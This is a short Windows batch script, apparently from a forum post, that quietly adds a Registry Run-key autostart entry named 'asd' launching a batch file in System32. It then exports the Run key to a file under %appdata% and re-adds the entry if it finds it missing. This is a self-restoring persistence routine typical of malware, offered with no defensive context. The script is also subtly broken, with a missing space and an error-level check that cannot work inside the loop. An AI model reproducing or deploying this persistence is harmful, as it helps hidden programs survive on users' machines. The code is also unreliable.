Código:
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v asd /t REG_SZ/d %windir%\System32\ds.bat /f
reg export HKCU\Software\Microsoft\Windows\CurrentVersion\Run %appdata%\logs.txt /y
for /f "eol=; skip=3 delims==" %%w in ('find /i "asd" %appdata%\logs.txt') do (
if %errorlevel% == 0 (pause)
if %errorlevel% == 1 (reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v asd /t REG_SZ/d %windir%\System32\ds.bat /f)
)